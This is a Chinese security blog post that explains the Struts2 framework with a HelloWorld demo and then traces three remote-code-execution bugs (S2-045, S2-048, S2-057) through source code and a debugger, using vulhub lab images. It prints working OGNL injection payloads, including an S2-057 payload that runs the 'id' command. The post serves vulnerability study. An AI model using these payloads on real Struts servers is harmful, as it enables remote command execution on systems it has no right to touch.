f10@t's blog

Struts框架管窥以及几个漏洞的分析

字数统计: 6.6k阅读时长: 30 min
2020/01/22

S2-045, S2-048, S2-057

Struts2框架的设计以及大体结构

首先Struts2属于MVC架构的设计模式,相应的就会有Model(模型)、View(视图) 、Control(控制)这三个大的板块,具体每一个板块的作用这里不做过多解释。

Struts2的模型-视图-控制器模式是由以下五个核心部分进行实现的:

  • 操作(Actions)
  • 拦截器(Interceptors)
  • 值栈(Value Stack) / OGNL(Object Graphic Navigation Language)
  • 结果(Result) / 结果类型
  • 视图技术

但是Struts2与传统的MVC框架略有不同(比如TP),它的模型的角色是由Action来扮演的,而不是控制器。大体分布如下图所示:

结构

一个请求的生命周期是这样的:

  • 用户发送一个资源诉求的请求到服务器(比如请求指定的页面)
  • Control核心控制器查看请求后确定适当的动作
  • 使用验证、文件上传等配置拦截器功能(Interceptors)
  • 执行选择的动作来完成请求的操作
  • 视图层显示结果并返回给用户

下面是官方的Struts的设计图:

Struts设计图

一个简单的Demo

HelloWorld

这里我们需要四个部件:Action(操作类)、Interceptor(拦截器)、View(视图,jsp文件等)、Configuration Files(配置文件,xml格式)

我这里使用Idea的Struts2模板进行创建,使用的Struts版本为2.5.16,其他版本下载地址

实现一个简单的页面跳转的功能,项目的结构如下:

HelloStruts1

MessageHello.java属于Model模块,其中会储存一段明文信息,当Action模块中的HelloAction.java被调用时会进行赋值,最终回显在HelloWorld.jsp页面上。默认的入口页面是index.jsp(也可以在web.xml中修改)

配置文件主要有两个:struts.xmlweb.xml,前者会将不同的页面以及不同的模块之间进行相互联系,后者则定义了全局的一个配置。下面是源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//MessageHello.java
package model;

public class MessageHello {
private String message;

public MessageHello() {
message = "Hello Struts!";
}

public String getMessage() {
return message;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//HelloAction.java
package action;

import com.opensymphony.xwork2.ActionSupport;
import model.MessageHello;

public class HelloAction extends ActionSupport {
private MessageHello messageHello;

@Override
public String execute() throws Exception {
this.messageHello = new MessageHello();
return SUCCESS;
}

public MessageHello getMessageHello() {
return this.messageHello;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//HelloWorld.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h3>This is HelloWorld page.</h3><br>
Use &lt;s:property value="messageStore.message"/&gt; to call getMessageStore().getMessage() to get messageStore.message
from ValueStack(值栈) of the action.
<br>The message is :<br>
<h3><s:property value="messageHello.message"/></h3>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
//index.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>Hello</title>
</head>
<body>
<h1>Welcome to struts2 learning! It's an index page.</h1><br>
Clike <a href="<s:url action='hello'/> ">HERE</a> to Enter HelloWorld page!
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//struts.xml
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
<constant name="struts.devMode" value="true"/>
<package name="babyStruts" extends="struts-default">
<action name="index">
<result>/index.jsp</result>
</action>
<action name="hello" class="action.HelloAction" method="execute">
<result name="success">/HelloWorld.jsp</result>
</action>
</package>
</struts>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<display-name>HelloStruts</display-name>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

运行结果:

HelloStruts2
HelloStruts3

简单分析各个组件作用

上面这个简单的Demo中一个请求是这样的:用户请求localhost:8080端口的服务,根据web.xml中<welcome-file-list>的预定义,访问到了index.jsp页面,在这个页面中饱含着一个超链接:<a href="<s:url action='hello'/>"> 这个超链接指向的动作是hello.action,那么这个hello在哪里定义的呢?答案是在struts.xml中预定义的:action name="hello" class="action.HelloAction" method="execute">,根据这条配置,hello.action实际上的动作是调用了action包中的HelloAction类的execute()方法,在这个方法中返回了一个字符串:return SUCCESS;---- 即"success"这个字符串被返回,又根据struts.xml中的预定义:<result name="success">/HelloWorld.jsp</result>,如果返回的结果是字符串"succes s",就跳转到HelloWorld.jsp页面去;最终跳转到了HelloWorld.jsp页面后,他显示的内容是HelloAction中的messageHello这个对象的message属性(通过值栈的方式进行取值) ,即调用了这个对象的getMessage()方法(定义在MessageHello类中)。

啰嗦说了这么多,下面这张图就可以解释清楚了:

HelloStruts4

Struts的漏洞分析

下面举出了三个Struts2的关于RCE的漏洞,分别是S2-045、S2-048、S2-057。三者之间有相似之处,且有几个Struts2的版本是同时存在两个或以上的漏洞的,之间的POC也是可以相互转换、相互学习的。下面的三个app都是来自官方的showcase。

S2-045

该漏洞是一个RCE漏洞,影响版本: Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10,CVE编号为CVE-2017-5638

使用基于Jakarta插件的文件上传功能时,该插件存在漏洞,恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞导致RCE

复现

复现使用的是vulhub里的例子,打开后是一个上传的页面:

image-20200121221118511

正常上传的响应头部是正常的,该漏洞的利用点是修改请求包头中的Content-Type字段来增加请求内容

image-20200121221055795

比如下面这个例子,将会返回传入的计算式子的内容:

image-20200121221430957

可以看到在返回的头部中增加了一条vulhub名称的字段,值为请求报头中的Content-Type中的计算式3*4。修改后:

1
Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',3*4)}.multipart/form-data;

原理分析

版本是2.3.20,下面根据官方的设计图进行排查(这里再放一张方便查看):

Struts设计图

这个漏洞成因是因为对信息处理的不当导致执行了OGNL表达式。首先查看过滤器的入口:StrutsPrepareAndExecuteFilter,这个类是Struts2默认配置的入口过滤器,位置:org\apache\struts2\dispatcher\ng\filter,查看对请求的处理函数doFilter。关键代码:

1
2
3
4
prepare.setEncodingAndLocale(request, response);
prepare.createActionContext(request, response);
prepare.assignDispatcherToThread();
request = prepare.wrapRequest(request); //对请求对象request(HttpServletRequest类)进行封装

跟进一下,查看wrapRequest()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* Wraps the request with the Struts wrapper that handles multipart requests better
* @return The new request, if there is one
* @throws ServletException
*/
public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {
HttpServletRequest request = oldRequest;
try {
// Wrap request first, just in case it is multipart/form-data
// parameters might not be accessible through before encoding (ww-1278)
request = dispatcher.wrapRequest(request);
} catch (IOException e) {
throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", e);
}
return request;
}

内部又调用了Dispatcher类的wrapRequest()方法,跟进一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* Wrap and return the given request or return the original request object.
* </p>
* This method transparently handles multipart data as a wrapped class around the given request.
* Override this method to handle multipart requests in a special way or to handle other types of requests.
* Note, {@link org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper} is
* flexible - look first to that object before overriding this method to handle multipart data.
*
* @param request the HttpServletRequest object.
* @return a wrapped request or original request.
* @see org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper
* @throws java.io.IOException on any error.
*
* @since 2.3.17
*/
public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
// don't wrap more than once
if (request instanceof StrutsRequestWrapper) {
return request;
}

String content_type = request.getContentType();
if (content_type != null && content_type.contains("multipart/form-data")) { //注意这里的判断
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}

return request;
}

​ 在我注释的地方可以看到,他首先从request中获取了我们的Content-Type字段的值,并在if判断中对content_type这个字段进行了判断:content_type.contains("multipart/form-data"),仅仅使用了String类的contains方法(contains方法如下)

1
2
3
public boolean contains(CharSequence s) {
return indexOf(s.toString()) > -1;
}

换言之,只要请求的Conten-Type字段中包含这个multipart/form-data字符串就符合条件了,根据上面的复现可以看到,这里开始就出现污染了,conten-type错误的包含了ognl表达式却没有加以限制。之后使用了getMultiPartRequest()方法进行一些清理工作,跟进MultiPartRequestWrapper构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Process file downloads and log any errors.
*
* @param multiPartRequest Our MultiPartRequest object
* @param request Our HttpServletRequest object
* @param saveDir Target directory for any files that we save
* @param provider
*/
public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request, String saveDir, LocaleProvider provider) {
super(request);
errors = new ArrayList<String>();
multi = multiPartRequest;
defaultLocale = provider.getLocale();
setLocale(request);
try {
multi.parse(request, saveDir); //跟进这里
for (String error : multi.getErrors()) {
addError(error);
}
} catch (IOException e) {
if (LOG.isWarnEnabled()) {
LOG.warn(e.getMessage(), e);
}
addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
}
}

在进行了一些初始化的工作后,调用了MultiPartRequest.parse()接口方法,跟进实现JakartaMultiPartRequest.parse()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* Creates a new request wrapper to handle multi-part data using methods adapted from Jason Pell's
* multipart classes (see class description).
*
* @param saveDir the directory to save off the file
* @param request the request containing the multipart
* @throws java.io.IOException is thrown if encoding fails.
*/
public void parse(HttpServletRequest request, String saveDir) throws IOException {
try {
setLocale(request);
processUpload(request, saveDir);
} catch (FileUploadBase.SizeLimitExceededException e) {
if (LOG.isWarnEnabled()) {
LOG.warn("Request exceeded size limit!", e);
}
String errorMessage = buildErrorMessage(e, new Object[]{e.getPermittedSize(), e.getActualSize()}); //跟进buildErrorMessage函数
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
} catch (Exception e) {
if (LOG.isWarnEnabled()) {
LOG.warn("Unable to parse request", e);
}
String errorMessage = buildErrorMessage(e, new Object[]{});
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
}
}

​ 跟进catch体的buildErrorMessage方法:

1
2
3
4
5
6
7
protected String buildErrorMessage(Throwable e, Object[] args) {
String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
if (LOG.isDebugEnabled()) {
LOG.debug("Preparing error message for key: [#0]", errorKey);
}
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}

我们输入的恶意Conten-Type会被抛出到这里的e,之后调用了LocalizedTextUtil.findtext()方法,其中e.getMessage()方法这个变量的值就是我们输入的恶意Content-Type。跟进findText方法:

1
2
3
4
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {
ValueStack valueStack = ActionContext.getContext().getValueStack();
return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
}

先是获取上下文getContext(),之后获取值栈对象getValueStack(),然后调用重载方法findText(),其中参数defaultMessage是我们的恶意Content-Type。

跟进一下,findText()函数中注释说明是这样的:If a message is found, it will also be interpolated. Anything within ${...} will be treated as an OGNL expression and evaluated as such.。在查找message(第二个参数aTextName)对应的键值失败后,会将其视为OGNL表达式来计算,导致了最终的RCE。

动态调试

在上述的JakartaMultiPartRequest.parse()方法和JakartaMultiPartRequest.buildErrorMessage()方法处下断点:

image-20200122185859960
image-20200122190007468

Burpsuite发一个含恶意Content-Type的POST包:

image-20200122190111070

捕捉到异常:

image-20200122190151922

可以查看到异常的类型为org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException,后面跟的就是我们的Content-Type。跟进,进入buildErrorMessage函数中:

image-20200122190806664

得到errorKey的值为:struts.messages.upload.error.InvalidContentTypeException,步过if判断,继续跟进到LocalizedTextUtil.findtext()函数:

image-20200122190926477

获得值栈对象后,继续调用下一个重载的findText()方法:

可以看到参数defaultMessage的值就是恶意的Content-Type的值:

image-20200122191127354

​ 跟进findText()到getDefaultMessage()方法:

image-20200122191715742
image-20200122191921642

在这里message的值也被污染了,值为恶意的Content-Type值。步入buildMessageFormat()函数:

image-20200122195910597

可以看到传入的参数中会先进行TextParseUtil.translateVariables()方法,重点就在这里了,这个方法的描述是这样的:Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned。显然这是一个计算OGNL表达式的函数,步入进行查看:

image-20200122200139765

最终调用的函数是这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Converted object from variable translation.
*
* @param open
* @param expression
* @param stack
* @param asType
* @param evaluator
* @return Converted object from variable translation.
*/
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {

ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
public Object evaluate(String parsedValue) {
Object o = stack.findValue(parsedValue, asType);
if (evaluator != null && o != null) {
o = evaluator.evaluate(o.toString());
}
return o;
}
};

TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);

return parser.evaluate(openChars, expression, ognlEval, maxLoopCount); //expression的值是构造的OGNL表达式
}

最终返回的值就是计算的OGNL表达式的值,可以在最后构造出的response中看到这个结果:

image-20200122201500938

总的来说就是很单纯的使用了一个String.contains()方法来判断,导致了非法的输入,最终导致了OGNL表达式的执行。

参考链接

https://paper.seebug.org/247/

https://www.anquanke.com/post/id/85628

S2-048

该漏洞是一个RCE漏洞,影响版本为Struts2.0.0 - 2.3.32,CVE编号为CVE-2017-9791

上述版本中若启用了struts2-struts1-plugin插件,攻击者就可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。

复现

复现使用的是vulhub里的镜像showcase,Struts版本为2.3.32,打开后页面如下,进入Struts 1 Intergration的页面:

image-20200122152426271

填写表单,注入点在Gangster Name这个字段

image-20200122152524956

可以看到在页面的回显中有结果:

image-20200122152613672

原理分析

这个洞主要是因为上述版本中开启了struts 1 plugin 导致任意代码执行漏洞,这个插件对应类为org.apache.struts2.s1.Struts1Action,起一个封装类的作用,主要是让Struts1中的Action类可以再Struts2中正常使用。位置:

image-20200123101813991

官方给出的2.3.20版本的showcase里就有这个漏洞(上述复现),查看对应jsp文件得到其对应动作为saveGangster,查看struts-intergration.xml文件得到其对应的java文件为Struts1Action.java文件 : <action name="saveGangster" class="org.apache.struts2.s1.Struts1Action">

查看他的execute()方法,其中有这么一段代码:

1
2
3
4
5
6
7
8
9
try {
action = (Action)this.objectFactory.buildBean(this.className, (Map)null);
} catch (Exception var12) {
throw new StrutsException("Unable to create the legacy Struts Action", var12, actionConfig);
}

//省略

ActionForward forward = action.execute(mapping, this.actionForm, request, response);

跟进这个execute()方法,位于上述的SaveGangsterAction.java中:

1
2
3
4
5
6
7
8
9
10
11
@Override
public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {

// Some code to save the gangster to the db as necessary
GangsterForm gform = (GangsterForm) form;
ActionMessages messages = new ActionMessages();
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully")); //注意这里
addMessages(request, messages);

return mapping.findForward("success");
}

​ 这个漏洞的核心问题就在注释的地方了,在新建ActionMessage类时,将注入点的Name的原始消息直接拼接了起来,没有任何的处理,导致了最后的问题。这样参数就成了我们带有OGNL表达式的参数了。

继续往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HttpServletRequest request = ServletActionContext.getRequest(); //获取request体对象
HttpServletResponse response = ServletActionContext.getResponse();
ActionForward forward = action.execute(mapping, this.actionForm, request, response);
ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE");

//省略

if (msg.getValues() != null && msg.getValues().length > 0) {
this.addActionMessage(this.getText(msg.getKey(), Arrays.asList(msg.getValues())));
} else {
this.addActionMessage(this.getText(msg.getKey())); //注意这里
}

//省略

​ 在我标注注意的else那部分,msg.getKey()方法返回的就是最终回显的消息(此时还未解析OGNL表达式),之后调用了getText()方法:

1
2
3
public String getText(String aTextName) {
return getTextProvider().getText(aTextName);
}

跟进TextProvider.getText()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* Get a text from the resource bundles associated with this action.
* The resource bundles are searched, starting with the one associated
* with this particular action, and testing all its superclasses' bundles.
* It will stop once a bundle is found that contains the given text. This gives
* a cascading style that allow global texts to be defined for an application base
* class. If no text is found for this text name, the default value is returned.
*
* @param key name of text to be found
* @param defaultValue the default value which will be returned if no text is found
* @param args a List of args to be used in a MessageFormat message
* @return value of named text or the provided defaultValue if no value is found
*/
public String getText(String key, String defaultValue, List<?> args) {
Object[] argsArray = ((args != null && !args.equals(Collections.emptyList())) ? args.toArray() : null);
if (clazz != null) {
return LocalizedTextUtil.findText(clazz, key, getLocale(), defaultValue, argsArray);
} else {
return LocalizedTextUtil.findText(bundle, key, getLocale(), defaultValue, argsArray);
}
}

可以看到这里就和045重合了,调用findText,接下来会获得值栈对象、重载findText、调用LocalizedTextUtil.getDefaultMessage()方法,最终调用TextParseUtil.translateVariables()方法导致最后的RCE。这个漏洞和045还是很相像的。

动态调试

org.apache.struts2.s1.Struts1Action.execute()方法里下断点,burp发包:

image-20200123115600034

可以在表单数据actionForm变量中看到输入:

image-20200123115741537

拿到请求:

image-20200123120141814

可以在请求的参数中看到输入:

image-20200123120236117

跟进action.execute()方法,首先拿到用户的输入表单,变量gform中包含我们的输入:

image-20200123120541608
image-20200123120651469

添加返回信息到message变量,message变量被污染:

image-20200123120901535

跟进addMessage()方法,requestMessages变量将返回的信息加入,最后设置request变量的属性:

image-20200123121123161

execute()函数结束,步入request.getAttribute()函数:

image-20200123121953423

首先获取上下文,然后用一个Object类变量attribute来接受request的属性,可以看到这里获得了最终的回显信息:

image-20200123122058483

将这个信息返回到上述的messages变量中,这样messages变量也被污染了:

image-20200123122245968
image-20200123122331209

进入label36,跟进addActionMessage()函数:

image-20200123122621548

msg.getKey()函数返回信息,跟进getText()函数:

image-20200123122840756

跟进TextProvider.getText()函数:

image-20200123123030008

跟进重载函数getText(),已经可以看到要调用LocalizedTextUtil.findText()方法了,:

image-20200123123159895

跟进findText()方法,这里的key和defaultValue参数的值都是那条消息: image-20200123123431994

和S2-045的分析到这里就重合了,接下来会获取值栈对象,然后调用重载的findText()方法: image-20200123123557628

来到default的分支,跟进getDefaultMessage()方法: image-20200123123829552

到这里就清晰了,紧接着会调用关键的解析OGNL表达式的函数TextParseUtil.translateVariables()方法,传入的参数中就有包含我们的输入:

image-20200123123956521

可以看到计算的结果:

image-20200123150630560

参考链接

https://www.freebuf.com/vuls/140410.html

S2-057

该漏洞是一个RCE漏洞,影响版本为小于等于Struts 2.3.34或者Struts 2.5.16,CVE编号为CVE-2018-1177

当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true
  • Struts2配置文件中action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

复现

复现使用的是vulhub里的镜像showcase,打开后页面如下:

image-20200121180213634

构造以下url(后面写错了,应该是${1+1}/actionChain1.action):

image-20200121181126492

可以得到回显:

image-20200121181213867

根据POC的构造以及其结果:

1
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
image-20200121183204394

可以看到成功执行了id命令,达到了RCE的效果

原理分析

版本是2.5.16,漏洞点在struts2的core依赖包中org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java中:

image-20200121191333364

这个漏洞主要是因为配置文件中缺少了namespace的属性导致的问题,上面复现的showcase中的配置文件是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>
<package name="actionchaining" extends="struts-default"> //这里缺少了namespace的属性
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>

查看DefaultActionMapper.java中的parseNameAndNamespace函数(用于解析namespace和name):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
int lastSlash = uri.lastIndexOf(47);
String namespace;
String name;
if (lastSlash == -1) {
namespace = "";
name = uri;
} else if (lastSlash == 0) {
namespace = "/";
name = uri.substring(lastSlash + 1);
} else if (this.alwaysSelectFullNamespace) { //条件1:这里为true
namespace = uri.substring(0, lastSlash); //这样namespace的值就可以由uri来控制
name = uri.substring(lastSlash + 1);
} else {
Configuration config = configManager.getConfiguration();
String prefix = uri.substring(0, lastSlash);
namespace = "";
boolean rootAvailable = false;
Iterator i$ = config.getPackageConfigs().values().iterator();

while(i$.hasNext()) {
PackageConfig cfg = (PackageConfig)i$.next();
String ns = cfg.getNamespace();
if (ns != null && prefix.startsWith(ns) && (prefix.length() == ns.length() || prefix.charAt(ns.length()) == '/') && ns.length() > namespace.length()) {
namespace = ns;
}

if ("/".equals(ns)) {
rootAvailable = true;
}
}

name = uri.substring(namespace.length() + 1);
if (rootAvailable && "".equals(namespace)) {
namespace = "/";
}
}

if (!this.allowSlashesInActionNames) {
int pos = name.lastIndexOf(47);
if (pos > -1 && pos < name.length() - 1) {
name = name.substring(pos + 1);
}
}

mapping.setNamespace(namespace); //设定namespace和name
mapping.setName(this.cleanupActionName(name));
}

alwaysSelectFullNamespace的值设为true时,namespace的值就可以通过传入的uri的值来进行控制。

Action执行结束时,调用ServletActionRedirectResult.execute()进行重定向Result的解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public void execute(ActionInvocation invocation) throws Exception {
actionName = conditionalParse(actionName, invocation);
if (namespace == null) {
namespace = invocation.getProxy().getNamespace();
} else {
namespace = conditionalParse(namespace, invocation);
}
if (method == null) {
method = "";
} else {
method = conditionalParse(method, invocation);
}

String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null)); //重组namespace和name

setLocation(tmpLocation); //调用setLocation

super.execute(invocation);
}

......

public void setLocation(String location) {
this.location = location;
}

通过ActionMapper.getUriFromActionMapping()重组namespace和name后,由setLocation() 将带namespace的location放入父类的StrutsResultSupport中,父类的作用是:A base class for all Struts action execution results. The "location" param is the default parameter

父类拿到了location之后调用TextParseUtil.translateVariables()方法进行OGNL表达式的解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* Parses the parameter for OGNL expressions against the valuestack
*
* @param param The parameter value
* @param invocation The action invocation instance
* @return the resulting string
*/
protected String conditionalParse(String param, ActionInvocation invocation) {
if (parse && param != null && invocation != null) {
return TextParseUtil.translateVariables(
param,
invocation.getStack(),
new EncodingParsedValueEvaluator());
} else {
return param;
}
}

而TextParseUtil.translateVariables()方法最终调用了translateVariables()方法,其中的TextParser.evalure()执行了url中的OGNL表达式,导致了最后的代码执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {

ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
public Object evaluate(String parsedValue) {
Object o = stack.findValue(parsedValue, asType);
if (evaluator != null && o != null) {
o = evaluator.evaluate(o.toString());
}
return o;
}
};

TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);

return parser.evaluate(openChars, expression, ognlEval, maxLoopCount); //导致了代码执行
}

动态调试

ps: 官方给的2.3.16版本的showcase里,上述复现的漏洞是没有的,vulhub的那个是因为他把struts-actionchaining.xml这个文件里package属性里的namespace去掉了所以满足了条件。。就说走了好几遍没问题啊,最后发现压根没问题。。所以根据vulhub那个dockerfile:

1
2
3
4
5
6
7
8
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.34-showcase
volumes:
- ./struts-actionchaining.xml:/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts-actionchaining.xml
ports:
- "8080:8080

先把这个xml进行修改(修改后):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//struts-actionchaining.xml
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
<!--
<action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
<result type="chain">actionChain3</result>
</action>
<action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
<result>/WEB-INF/actionchaining/actionChainingResult.jsp</result>
</action> -->
</package>
</struts>

即去掉了package的namespace属性,并对后续操作做了修改:将重定向页面(302)改为了一个register2的操作,这样就可以在response中看到回显了,这里的逻辑修改主要是为了方便查看调试的回显。

org.apache.struts2.dispatcher.mapper.DefaultActionMapper中下断点:

image-20200123183253439

burp发包,可以看到uri的信息就是请求的url值:

image-20200123184045823

这里可以看到条件以满足:alwaysSelectFullNamespace这个变量值的值为true。

image-20200123184552807

也可以看到namespace变量已经被污染了:

image-20200123184714417

设置命名空间和名称:

image-20200123205017345

ServletActionRedirectResult.execute()方法中下断点:

image-20200123205225988

跟进到这里,返回action的映射,里面的request参数中就包含请求的url:

image-20200123205349291
image-20200123205449781

放行至下一个断点ServletActionRedirectResult.execute()方法,也就是出问题的地方:

image-20200123205630123

跟进ServletRedirectResult.getUriFromActionMapping()方法生成暂时的路径tmpLocation,可以看到传入的参数中命名空间为含我们输入的OGNL表达式的字符串,动作action为register2,就是我们之前在xml中修改的那个逻辑,method方法为空:

image-20200123205853624

首先创建了一个新类ActionMapping:

image-20200123210229911

之后调用上述方法,继续跟进,可以看到主要操作是拼接字符串,这样的话最终的uri也就被污染了,接收函数返回值的tmpLocation也就被污染了:

image-20200123210333023

最终返回的uri是包含OGNL表达式的,但到这里还没有执行:

image-20200123210505946

继续跟进父类的StrutsResultSupport.setLocation()函数:

image-20200123210700535
image-20200123210827231

函数说明也说得很清楚了,这里的Location的作用是用来跳转的,所以我们才会在响应的状态码中看到302,继续跟进,执行父类的execute()方法:

image-20200123210955984
image-20200123211050981

重载,继续跟进:

image-20200123211209018

到这里就恍然大悟了,他会将这个跳转的路径进行OGNL表达式的解析(不懂为啥要这么设计...可能另有他用),继续跟进conditionParse()方法:

image-20200123211416512

又是熟悉的函数,熟悉的场景。这个函数的主要作用是根据值栈来解析OGNL表达式的,继续跟进:

image-20200123211634823

一样的重载,最终调用的当然还是这个函数了:

image-20200123211748934

到此分析完毕,传入的Location字符串被这个函数解析了,顺便就解析了我们的OGNL字符串。怎么解析我没有深入看,大概是匹配了%或者$以及花括号然后再解析的(比如下图已经得出了表达式):

image-20200123212713333

参考链接

https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg

小结

通过对上面这三个漏洞的分析可以看出来,对于Struts2的漏洞,很多都是针对他的OGNL表达式,S2-045、S2-057,这两个漏洞出问题调用的最终函数都是TextParser这个类的evaluate方法,导致执行了恶意的OGNL表达式。

CATALOG
  1. 1. Struts2框架的设计以及大体结构
  2. 2. 一个简单的Demo
    1. 2.1. HelloWorld
    2. 2.2. 简单分析各个组件作用
  3. 3. Struts的漏洞分析
    1. 3.1. S2-045
      1. 3.1.1. 复现
      2. 3.1.2. 原理分析
      3. 3.1.3. 动态调试
      4. 3.1.4. 参考链接
    2. 3.2. S2-048
      1. 3.2.1. 复现
      2. 3.2.2. 原理分析
      3. 3.2.3. 动态调试
      4. 3.2.4. 参考链接
    3. 3.3. S2-057
      1. 3.3.1. 复现
      2. 3.3.2. 原理分析
      3. 3.3.3. 动态调试
      4. 3.3.4. 参考链接
    4. 3.4. 小结